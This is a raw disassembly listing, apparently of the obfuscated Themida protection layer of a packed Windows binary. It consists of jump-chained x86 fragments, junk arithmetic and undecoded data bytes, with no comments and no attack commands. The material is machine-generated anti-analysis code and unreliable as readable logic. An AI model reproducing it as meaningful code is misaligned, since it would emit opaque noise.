; ---------------------------------------------------------------------------


loc_5648E0:				; CODE XREF: Themida_:00576324j
		pop	ebp
		sub	esp, 4
		jmp	loc_57280F
; ---------------------------------------------------------------------------


loc_5648EC:				; CODE XREF: Themida_:0056912Cj
		add	ebx, 4
		push	4861h
		mov	[esp], ebp
		push	ecx
		jmp	loc_566647
; ---------------------------------------------------------------------------
		dd 4EC835Eh, 53242C89h,	7699E9h
		db 0
; ---------------------------------------------------------------------------


loc_56490D:				; CODE XREF: Themida_:00561149j
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_56AAE6
; ---------------------------------------------------------------------------
		db 81h
		dd 0CE3075C7h, 81DF010Dh, 0CE3075EFh, 0C7815B0Dh, 4, 0E9243C87h
		dd 0BA7Ch, 35676856h, 0B95E339Ch, 23B4849h, 348BF101h
		dd 4C48324h, 56F7EB81h,	0BD552041h, 6BF5402Ah, 15DEB01h
		dd 2AEB81CBh, 576BF540h, 4156F7BFh, 5FFB0120h, 68240C8Bh
		dd 2F74h, 68241C89h, 3D38h, 81242489h, 42404h, 9E90000h
		dd 210000F8h, 0E95D1C6Fh, 11498h, 0B8240489h, 1F3D54CEh
		dd 0CA5C5D25h, 0B5850524h, 0D0F75177h, 68FFE883h, 418h
		dd 53240C89h, 0D69B468h, 81435B25h, 0D85F49EBh,	5BD989EBh
		dd 4107E9C1h, 0FD87E987h, 0FD31D7F7h, 0FD31EF31h, 0E1C1E987h
		dd 47EBE905h, 77FF0000h, 59669D1Ch, 2414D366h, 14E8E99Ch
		db 1, 0
; ---------------------------------------------------------------------------


loc_564A06:				; CODE XREF: Themida_:00562FBEj
		push	ebx
		mov	ebx, ebp
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_57141D
; ---------------------------------------------------------------------------
		dd 24048F58h, 6624248Bh, 9C2424D3h, 0FFC611E9h,	68FD5AFFh
		dd 4E0Bh, 0FFFF6FE9h, 2BBFFh, 0DA010000h, 11FBDE9h, 37C58100h
		dd 89FCE86Ch, 0EF0E9EBh, 34FF0001h, 240C8B24h, 4C481h
		dd 0A9E90000h, 8B000112h, 89562414h, 4C681E6h, 0E9000000h
		dd 403Eh, 24048F5Fh, 5324248Bh,	0FFFFB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564A85:				; CODE XREF: Themida_:005769AEj
		mov	[esp], cx
		jmp	loc_57547F
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C4835C24h, 0E9545104h, 10A50h, 0DAD6C681h, 0C5815B47h
		dd 4F1A4F06h, 0FFD686E9h, 50E289FFh, 5C1768h, 243C8900h
		dd 6951D6BFh, 7468577Dh, 5F325E48h, 19A6F781h, 0F8894F37h
		dd 8BF8315Fh, 0C483243Ch, 0C0685304h, 5B173313h, 0F99EE943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564AE2:				; CODE XREF: Themida_:00565599j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5642DB
; ---------------------------------------------------------------------------
		db 88h
		dd 5AF188DEh, 6E1C05Bh,	19D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_564B01:				; CODE XREF: Themida_:0056799Ej
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_575B82
; ---------------------------------------------------------------------------
		dw 0CA01h
aYZsqc		db 'Y!ÖZéï—',0
		dd 59ACB900h, 5D6860F3h, 0E9000025h, 0FFFFFB8Eh
; ---------------------------------------------------------------------------


loc_564B28:				; CODE XREF: Themida_:0057181Cj
		add	dword ptr [esp], 4
		pop	ecx
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_56AC62
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8704C083h, 285C2404h, 0F8005BD8h,	0B886E9h, 243C8700h
		dd 0E5A4E9h, 5AD02800h,	3E0C059h, 0C328BD04h, 3227E9h
		dd 24048100h, 4, 8A20E9h, 0C6295F00h, 5624048Bh, 0B7E9E689h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564B87:				; CODE XREF: Themida_:00571BF6j
		add	eax, 5686196Bh
		sub	eax, edx
		sub	eax, 5686196Bh
		add	eax, 53D0073Ch
		pop	edx
		add	eax, esi
		add	eax, 13522735h
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_561042
; ---------------------------------------------------------------------------


loc_564BC2:				; CODE XREF: Themida_:005686DAj
		push	ebx
		push	ecx
		mov	cl, dl
		jmp	loc_5761C1
; ---------------------------------------------------------------------------


loc_564BCB:				; CODE XREF: Themida_:0056CA3Aj
		xor	al, dh
		jmp	loc_5646E8
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4F1E4E2Bh, 48B0B850h, 0D8F71017h, 7255422Dh,	8BC201C1h
		dd 0C4832404h, 38F28104h, 0E9E05AC6h, 9155h, 5C243C87h
		dd 240C8B66h, 0F21AE9h,	0BF579200h, 6012D6Bh, 0FD3FC781h
		dd 0FA015B44h, 0FFC641E9h, 0A8168FFh, 1C890000h, 721F6824h
		dd 4890000h, 0CA4BE924h, 0C681FFFFh, 4,	5C243487h, 0FC78166h
		dd 1C31E919h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564C42:				; CODE XREF: Themida_:00575527j
		mov	bl, 0EAh
		shr	bl, 5
		neg	bl
		dec	bl
		or	bl, 0B6h
		jmp	loc_56DEA8
; ---------------------------------------------------------------------------
		db 41h
		dd 0E981D9F7h, 0FA05EA42h, 159CD89h, 34875DEEh,	24248B24h
		dd 4A9A68h, 240C8900h, 0FFFCDBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564C75:				; CODE XREF: Themida_:0056DFF9j
		sub	esp, 4
		mov	[esp], ecx
		push	5846h
		mov	[esp], edx
		push	71EEh
		jmp	loc_574D85
; ---------------------------------------------------------------------------


loc_564C90:				; CODE XREF: Themida_:00562D9Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	eax, edi
		pop	edi
		jmp	loc_56D54E
; ---------------------------------------------------------------------------


loc_564CA7:				; CODE XREF: Themida_:0057466Fj
		mov	edx, [esp]
		jmp	loc_561852
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835B2434h, 0F68104C4h, 1F845D1Eh, 215EF189h,	607FE9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564CC6:				; CODE XREF: Themida_:0056CF58j
		mov	[esp], edx
		mov	edx, 57193BEAh
		shl	edx, 2
		push	ebx
		jmp	loc_568A25
; ---------------------------------------------------------------------------


loc_564CD7:				; CODE XREF: Themida_:0056C572j
		add	edx, 0FFFFFFFFh
		add	edx, 29D0EAE2h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, eax
		add	ebx, 67874830h
		push	ebp
		push	edi
		mov	edi, 7751799Ch
		mov	ebp, edi
		pop	edi
		add	ebx, ebp
		pop	ebp
		sub	esp, 2
		jmp	loc_56D1BE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFF3ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564D11:				; CODE XREF: Themida_:00573E10j
		or	ebx, ebx
		jnz	loc_565FDD
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 20h
		push	ecx
		push	5859h
		mov	[esp], edx
		mov	edx, 73697D6Fh
		mov	ecx, edx
		pop	edx
		push	eax
		jmp	loc_57096C
; ---------------------------------------------------------------------------


loc_564D3B:				; CODE XREF: Themida_:0056EC8Aj
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_570C72
; ---------------------------------------------------------------------------
		dd 24048B66h, 11A90E9h,	0FBCE8100h, 0E907A83Fh,	6855h
		dd 42474FFh, 24048F58h,	4EC815Ch, 89000000h, 0E2E9242Ch
		dd 680000F3h, 120Dh, 0A704E9h, 0F7875E00h, 6D05C781h, 685542h
		dd 81000000h, 543A242Ch, 3C294AF1h, 24048124h, 4AF1543Ah
		dd 0CE64E95Fh, 0C89FFFFh, 7B5F6824h, 4EE93B21h,	89FFFFD0h
		dd 9DB82404h, 21146703h, 0CE8158C6h, 1F0270F4h,	0F1EE8146h
		dd 11F0270h, 2F685EF5h,	89000076h, 92BA2414h, 503FA144h
		dd 5462E9h
		db 0
; ---------------------------------------------------------------------------


loc_564DE5:				; CODE XREF: Themida_:0056C932j
		push	edi
		push	ebx
		mov	ebx, 1FA90724h
		add	ebx, 603E78A0h
		jmp	loc_56A0C1
; ---------------------------------------------------------------------------
		db 1
		dd 0C38158C3h, 2, 0E9241C33h, 577Eh, 5350CD29h,	253ABABBh
		dd 0E9D8892Fh, 6B80h, 5504C483h, 0DB1D1CBDh, 5DEE0117h
		dd 0EE81EE01h, 17DB1D1Ch, 83242C8Bh, 0EC8304C4h, 24048904h
		dd 6BDCBE56h, 0C6813C6Bh, 0C3949426h, 34FF5856h, 24348B24h
		dd 4C481h, 0C4830000h, 56EE8104h, 0E969D268h, 3530h, 15AD101h
		dd 576859C8h, 0E9000039h, 0E892h
; ---------------------------------------------------------------------------


loc_564E70:				; CODE XREF: Themida_:00574BC1j
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0D6611DCh
		shl	ebp, 6
		sub	ebp, 12411798h
		shr	ebp, 8
		jmp	loc_569F1B
; ---------------------------------------------------------------------------


loc_564EB0:				; CODE XREF: Themida_:00574A0Ej
		push	eax
		mov	eax, 1D5E4516h
		jmp	loc_5739E6
; ---------------------------------------------------------------------------
		db 68h
		dd 7567h, 54241489h, 5224148Bh,	11A3BE9h, 6C116800h, 0E95A2A7Bh
		dd 1336h
; ---------------------------------------------------------------------------


loc_564ED8:				; CODE XREF: Themida_:0056838Bj
		sub	edi, ebp
		pop	ebp
		jmp	loc_562780
; ---------------------------------------------------------------------------


loc_564EE0:				; CODE XREF: Themida_:0056BCE2j
		add	ebp, 4
		jmp	loc_5690F3
; ---------------------------------------------------------------------------


loc_564EEB:				; CODE XREF: Themida_:00563237j
		sub	ebx, 4E787F73h
		push	edx
		push	ebx
		add	dword ptr [esp], 36B8354Fh
		pop	edx
		jmp	loc_5648D5
; ---------------------------------------------------------------------------
		dd 126FEF81h, 0E95857DDh, 71E7h, 3F5CF381h, 0D8896EB5h
		dd 8F1DE9h, 4C48300h, 0ECEFE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564F22:				; CODE XREF: Themida_:005739CBj
		add	ecx, 6A865457h
		jmp	loc_568347
; ---------------------------------------------------------------------------
aIXs		db '‰ÅXéÁÞ',0
		db 0
; ---------------------------------------------------------------------------


loc_564F35:				; CODE XREF: Themida_:0056C810j
		mov	eax, 72F90277h
		xor	eax, 14AC5D4Dh
		not	eax
		push	edx
		mov	edx, 0FFFFFFFFh
		sub	eax, edx
		pop	edx
		not	eax
		neg	eax
		push	ebp
		jmp	loc_56EC8F
; ---------------------------------------------------------------------------


loc_564F54:				; CODE XREF: Themida_:00569C36j
		push	edx
		push	3E083D53h
		pop	edx
		and	edx, 14B50737h
		dec	edx
		inc	edx
		xor	edx, 76B924E7h
		mov	esi, edx
		pop	edx
		and	esi, 52026D2Dh
		or	esi, 5BE0461Eh
		add	esi, 0A6D9ABCh
		jmp	loc_571F2D
; ---------------------------------------------------------------------------
		db 83h
		dd 0E2E904ECh, 8300001Ah, 0A9E904C4h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564F93:				; CODE XREF: Themida_:0056261Dj
		pop	ecx
		add	edx, eax
		push	ebp
		mov	ebp, 4E1E220Ch
		add	ebp, 0E8635165h
		push	ebx
		push	199Fh
		mov	[esp], esi
		jmp	loc_56B82A
; ---------------------------------------------------------------------------


loc_564FB0:				; CODE XREF: Themida_:00574986j
		mov	[esp], ecx
		jmp	loc_56F716
; ---------------------------------------------------------------------------
		dd 7B685752h, 5F3DC779h, 797CEF81h, 0F2E93DC7h,	8900005Ch
		dd 405E0h, 0C0830000h, 6CDAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564FDA:				; CODE XREF: Themida_:0056B2D5j
		or	edx, eax
		shl	edx, 1
		push	4B72h
		mov	[esp], edx
		push	730Fh
		jmp	loc_56DEB0
; ---------------------------------------------------------------------------
		dd 247E505h, 58C6891Dh,	10F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_564FFD:				; CODE XREF: Themida_:005719CAj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7DC436E1h
		sub	edx, 2F6A3628h
		sub	edx, eax
		push	ebp
		mov	ebp, 2F6A3628h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		mov	ebp, 414F31C4h
		jmp	loc_57027D
; ---------------------------------------------------------------------------


loc_56502D:				; CODE XREF: Themida_:0056FE43j
		push	edi
		mov	edi, 77A100F9h
		and	edi, 63452E5Ch
		dec	edi
		neg	edi
		jmp	loc_56142C
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5B04h, 24248B24h,	9C2424D3h, 0FFBFEDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565055:				; CODE XREF: Themida_:00566F4Dj
		pop	esp
		push	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_561774
; ---------------------------------------------------------------------------
		dw 875Ah
		dd 665C243Ch, 5324048Bh, 0EB68E389h, 89000041h,	5CE9240Ch
		dd 100010Dh, 48759C8h, 312FE924h, 74FF0000h, 48B0424h
		dd 4C48324h, 8B24048Fh,	0C3E92424h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56509F:				; CODE XREF: Themida_:0056139Ej
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_5618F8
; ---------------------------------------------------------------------------
		dw 148Bh
aSue_0		db '$éu¥',0
		align 2
		dw 1C8Bh
aSfl		db '$éFL',0
		align 2
		dw 0EAC1h
		dd 3EAC103h, 0DAEDC281h, 0D7894DE4h, 54F7815Ah,	0E954EF32h
		dd 4173h
; ---------------------------------------------------------------------------


loc_5650D8:				; CODE XREF: Themida_:0056DAC9j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_569FF0
; ---------------------------------------------------------------------------


loc_5650E3:				; CODE XREF: Themida_:005633F3j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_566FE1
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 5C240433h, 0CF10E9h,	24148900h, 88C78853h, 36685BFAh
		dd 89000026h, 0D588240Ch, 0D513E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565116:				; CODE XREF: Themida_:00562305j
		sub	edi, 30206889h
		add	esi, edi
		jmp	loc_56C52A
; ---------------------------------------------------------------------------
		db 83h
		dd 0BF5701E9h, 13F1256h, 0FFED0CE9h, 3626BEFFh,	0BB532A8Bh
		dd 0D8161FE1h, 1125E9h
		db 0
; ---------------------------------------------------------------------------


loc_565141:				; CODE XREF: Themida_:0056318Ej
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	0AB7h
		mov	[esp], edi
		jmp	loc_56CD4E
; ---------------------------------------------------------------------------
		db 0E9h, 0E4h, 0BEh
		dd 0C381FFFFh, 4, 4EB81h, 0FF530000h, 8B042474h, 0C483241Ch
		dd 24048F04h, 2424895Ch, 4BE56h, 74010000h, 585E0424h
		dd 0E9E38953h, 0FFFFF1FCh, 9AF68h, 242C8900h, 4EC81h, 14890000h
		dd 55AFBA24h, 0CA810D97h, 68DB5DD7h, 8142DAF7h,	0EE6149EAh
		dd 0D0895049h, 81E9C589h, 0BD000103h, 698D3A3Ah, 8106E5C1h
		dd 481AA7EDh, 0C6ED817Dh, 811BF90Eh, 15BDC9C5h,	5DE9297Dh
		dd 4D6CC181h, 0F18155B6h, 36FF6888h, 159CA01h, 28685AD6h
		dd 89000056h, 0BF57242Ch, 2, 242C8157h,	707752F2h, 556CE95Dh
		dd 0EDBD0000h, 686BEA4Dh, 5DC4h, 0F7242C89h, 0F0E92414h
		dd 660000B4h, 34FFEB89h, 242C8B24h, 0FFDB22E9h,	835858FFh
		dd 1C8904ECh, 69685724h, 0E92F5A28h, 0F8EEh, 148B04BEh
		dd 5EF531D7h, 2C8BE901h, 0E0895024h, 612DE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 644D1582h
		or	edx, 756578F0h
		add	edx, 66853409h
		jmp	loc_56953A
; ---------------------------------------------------------------------------
		db 4Fh
		dd 5504EFC1h, 0B31FD7BDh, 57ED811Eh, 29C0401Ah,	0D86CE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565286:				; CODE XREF: Themida_:00570674j
		xor	edi, ebp
		jmp	loc_56C1F1
; ---------------------------------------------------------------------------
		db 5Dh,	8Bh, 2Ch
		dd 4C48124h, 51000000h,	5C290BB9h, 91C18162h, 0E9F320E6h
		dd 9BE0h, 0F7FFC283h, 0C2EA81D2h, 2977BF70h, 0D5E95AD0h
		dd 89FFFFFEh, 24148BD6h, 4C481h, 0BF570000h, 73303F7Ch
		dd 461FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5652D1:				; CODE XREF: Themida_:00571E7Ej
		push	22EFh
		mov	[esp], edx
		jmp	loc_571898
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8B241487h, 48F2424h, 79B2E924h, 44010000h, 5D580424h
		dd 0B568h, 24048900h, 4B50E9h
		db 0
; ---------------------------------------------------------------------------


loc_565305:				; CODE XREF: Themida_:0056F2E2j
		or	ecx, eax
		jmp	loc_569FE9
; ---------------------------------------------------------------------------
		dd 4C4815Ah, 0D000000h,	3096779Ah, 0EB7BF02Dh, 0FFBA5242h
		dd 29FFFFFFh, 0EC815AD0h, 4, 0BF243C89h, 197805B5h, 3C8BF809h
		dd 4C48324h, 7C07FD2Dh,	58C1013Dh
		db 33h
byte_565345	db 0Ch,	24h, 0E9h	; DATA XREF: ___:00444984o
					; ___:00444D7Co
		dd 69FCh, 0B0240489h, 8BC688B7h, 0C4832404h, 46206804h
		dd 1C890000h, 88F78824h, 241C8BF9h, 4EC81h, 4BE90000h
		dd 81FFFFD6h, 4C4h, 24143300h, 0E9241431h, 63BEh, 285BFA00h
		dd 1004E9D0h, 3BB80000h, 8970D27Dh, 0F18158C1h,	23463C94h
		dd 372DC981h, 0D1F74776h, 5A7AF181h, 0C18105EFh, 69148329h
		dd 8107E9C1h, 0F9E0F4F1h, 0E4EE94Ah
		db 1, 0
; ---------------------------------------------------------------------------


loc_5653BE:				; CODE XREF: Themida_:00574A40j
		mov	[esp], edi
		mov	edi, 0EF13656h
		jmp	loc_569FF6
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h,	33B75324h
		dd 64865366h, 0CCFE0124h, 1246486h, 0E9525B66h,	64FBh
		dd 0E9C23159h, 0FFFFBC42h, 0E3F5E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565406:				; CODE XREF: Themida_:00567043j
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_56B49B
; ---------------------------------------------------------------------------


loc_565413:				; CODE XREF: Themida_:0056DFC8j
		mov	edx, 6A9A3ECDh
		mov	ebp, 7B045DEBh
		xor	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_571888
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0CBh
		dd 0ACEA8159h, 81376A45h, 7616FEC2h, 4DEA8132h,	8125BE0Bh
		dd 0FE1C80C2h, 0C0EA8146h, 2940C07Eh, 0C0C281C2h, 8140C07Eh
		dd 0FE1C80EAh, 0E791E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565462:				; CODE XREF: Themida_:005611D1j
		sub	ecx, 33FE1749h
		push	ebx
		mov	ebx, 53115DF7h
		or	ecx, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	72D3h
		mov	[esp], ebp
		jmp	loc_569A77
; ---------------------------------------------------------------------------
		db 0BAh
		dd 791D6074h, 2927C681h, 0D60100EAh, 3E86E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5654A6:				; CODE XREF: Themida_:0056F60Dj
		push	dx
		jmp	loc_575659
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8704C483h, 248B2404h, 2434FF24h, 6ACB6858h, 1C890000h
		dd 864DE924h, 73E90000h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5654CF:				; CODE XREF: Themida_:0056A4DFj
		mov	esi, esp
		jmp	loc_56B6A4
; ---------------------------------------------------------------------------
		dw 1C89h
aIh		db '$·ˆh^',0Ah,0
		align 10h
		dd 52240489h, 0D088FA88h, 0B8E9535Ah, 0D1FFFFD9h, 0A8E981E9h
		dd 50007F3Bh, 0C289C889h, 0BBE95958h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565503:				; CODE XREF: Themida_:0056B2E0j
		add	ebp, 2337B0Bh
		add	ebp, 0A49A66A4h
		sub	edx, ebp
		jmp	loc_561235
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8B243C87h, 0C9E92424h, 5200005Bh,	0C978C5BAh, 0FB8CE954h
		dd 1486FFFFh, 53516624h, 0DD88D388h, 30FD305Bh,	0F6FD30EFh
		dd 53FD86D7h, 0E5E9EF88h, 8B000024h, 0C4812414h, 4, 667BE9h
		dd 0C8B6600h, 0C99CE924h, 815D0000h, 4C5h, 0C4CDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565572:				; CODE XREF: Themida_:005646EDj
		push	34F4h
		mov	[esp], ebx
		mov	bh, 70h
		add	bh, 0D7h
		neg	bh
		sub	bh, 7Fh
		jmp	loc_575A10
; ---------------------------------------------------------------------------


loc_565589:				; CODE XREF: Themida_:0056FA6Ej
		pop	ebx
		jmp	loc_5673FB
; ---------------------------------------------------------------------------
		db 88h
		dd 150AE9D9h
		db 1, 0
; ---------------------------------------------------------------------------


loc_565596:				; CODE XREF: Themida_:00568CFBj
		add	esp, 4
		jmp	loc_564AE2
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 71F24A66h, 0C381FB01h, 71F24A66h, 81D3015Fh,	0E5387DEBh
		dd 54E95A45h
		db 13h,	1, 0
; ---------------------------------------------------------------------------


loc_5655BB:				; CODE XREF: Themida_:0057381Bj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_573AA2
; ---------------------------------------------------------------------------
		db 81h
		dd 6E6774C3h, 5BDF0944h, 3857F781h, 0FA018D11h,	0E92434FFh
		dd 0AFECh, 81665366h, 780B2404h, 81665E66h, 5B780BEEh
		dd 5572BA66h, 5EF23166h, 4EC81h, 1C890000h, 0D3896624h
		dd 0FFDF8966h, 1C8B2434h, 4C48324h, 4EC81h, 14890000h
		dd 815A5424h, 4C2h, 4B95100h, 1000000h,	148759CAh, 24248B24h
		dd 3353E9h, 0BF575200h,	72286157h, 0E00E33BAh, 5FFA315Ah
		dd 962CE9h, 8DF38100h, 0E92F5249h, 0FFFFCE49h, 0E1803AB1h
		dd 4F87E93Eh, 8F640000h, 0B9D0E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565672:				; CODE XREF: Themida_:00562D65j
		and	ecx, 40260B91h
		dec	ecx
		push	edi
		mov	edi, 67BE61F0h
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_575F85
; ---------------------------------------------------------------------------


loc_56568F:				; CODE XREF: Themida_:00562262j
		add	eax, 7CD724C1h
		jmp	loc_563BF7
; ---------------------------------------------------------------------------


loc_565699:				; CODE XREF: Themida_:005739A9j
		pop	edi
		jmp	loc_56C90C
; ---------------------------------------------------------------------------
		db 5Ch
		dd 10777E9h
		db 0
; ---------------------------------------------------------------------------


loc_5656A5:				; CODE XREF: Themida_:0057547Aj
		sub	bl, ah
		pop	eax
		push	small 1B1h
		mov	[esp], cx
		push	ebx
		jmp	loc_565E3D
; ---------------------------------------------------------------------------
aSBG		db 'Áé',8,'É£',0
		db 0C2h, 18h, 57h
aSI1iSkv	db 'S»Ø',0Bh,'‰1‰ß[éŠv',0
		align 2
		dw 0BBBFh
		dd 0BA29083Eh, 28912629h, 425FFA01h, 76A7E9h, 0FF505600h
		dd 685E2434h, 7C96h, 68240C89h,	25F7h, 9FF0E9h,	0C8B6600h
		dd 47E9E924h, 0FF680000h, 8900005Fh, 1FE92434h,	5FFFFFE6h
		dd 0E9E68956h, 0FFFFDD2Ch, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 83242489h, 348904ECh, 4BE24h, 44810000h, 7F530424h
		dd 74012B52h, 6C810424h, 7F530424h, 8B5E2B52h, 0C481241Ch
		dd 4, 4EC81h, 0C890000h, 4BE5624h, 0B942800Fh, 412F319Fh
		dd 0E95EF131h, 3CA4h
; ---------------------------------------------------------------------------


loc_565770:				; CODE XREF: Themida_:005683EFj
		inc	ebp
		dec	ebp
		jmp	loc_570CDA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D3662424h, 0E99C242Ch, 0FFFFB8BEh, 26D068h,	240C8900h
		dd 9F36E956h, 0FF560000h, 5E042474h, 0E924048Fh, 0FFFFFFD7h
		dd 2414875Bh, 8B24248Bh, 0C4812414h, 4,	0B9EAE9h, 0A5E78100h
		dd 0C12CE81Ch, 83E904EFh
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5657C3:				; CODE XREF: Themida_:005694D2j
		pop	ebx
		sub	ecx, 0EBC10E3Ch
		mov	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 75145613h
		shl	ecx, 4
		push	22D8h
		mov	[esp], esi
		mov	esi, 44E412C7h
		xor	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, 74707AC6h
		jmp	loc_574223
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C481243Ch, 4, 4C781h, 19E90000h, 51FFFFC3h,	0A3EFE9h
		dd 3EDC000h, 0E92BED80h, 0DBA1h, 5C24048Fh, 0E9241C89h
		dd 0BD9Ch, 0E904E883h, 0D713h, 3E02E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565836:				; CODE XREF: Themida_:005619BCj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56FA47
; ---------------------------------------------------------------------------
aZS1		db '‡Îéœ1',0
		dd 240C8B00h, 8B3BE9h
		db 0
; ---------------------------------------------------------------------------


loc_565851:				; CODE XREF: Themida_:00575066j
		push	eax
		mov	eax, 62D20E2Dh
		jmp	loc_56C925
; ---------------------------------------------------------------------------
		dd 16206FBAh, 0E9424A34h, 0D20h, 659BC681h, 0FE014894h
		dd 659BEE81h, 96E94894h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56587B:				; CODE XREF: Themida_:00576AEFj
		push	esp
		pop	ebx
		jmp	loc_56B0FB
; ---------------------------------------------------------------------------


loc_565882:				; CODE XREF: Themida_:00570CEAj
		sub	edi, 27FC3733h
		sub	edi, 42AB7308h
		add	edi, ebp
		add	edi, 42AB7308h
		jmp	loc_56DC04
; ---------------------------------------------------------------------------
		db 28h
		dd 0D3EFE9F3h, 30B40000h, 3CE9CC28h
		db 0FDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5658AB:				; CODE XREF: Themida_:00570D0Fj
		inc	ebp
		dec	ebp
		and	ebp, 36E35C0h
		add	ebp, 0FEF9DB44h
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 5A93245Eh
		shr	eax, 7
		dec	eax
		push	edx
		mov	edx, 5C6F4198h
		add	eax, edx
		pop	edx
		or	eax, 78F632DFh
		add	eax, 0D48DB42Fh
		push	esi
		push	ebx
		jmp	loc_56616E
; ---------------------------------------------------------------------------
		db 66h,	68h, 0D9h
		dd 1C89663Eh, 93B724h, 665B66F8h, 2CCAB252h, 0E9D00042h
		dd 0ADD3h
; ---------------------------------------------------------------------------


loc_565908:				; CODE XREF: Themida_:00562E4Dj
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_570865
; ---------------------------------------------------------------------------


loc_565912:				; CODE XREF: Themida_:00561427j
		push	edi
		mov	edi, 169470EBh
		shl	edi, 3
		xor	edi, 2C801F67h
		add	edi, 7CF1BFF7h
		jmp	loc_5665F6
; ---------------------------------------------------------------------------
		dd 4C181h, 0E9510000h, 77B3h, 815AD689h, 3226FCC1h, 60F8E961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565946:				; CODE XREF: Themida_:00565F9Bj
		not	edi
		not	edi
		shr	edi, 1
		xor	edi, 448509Ah
		jmp	loc_568C77
; ---------------------------------------------------------------------------
		db 0B9h
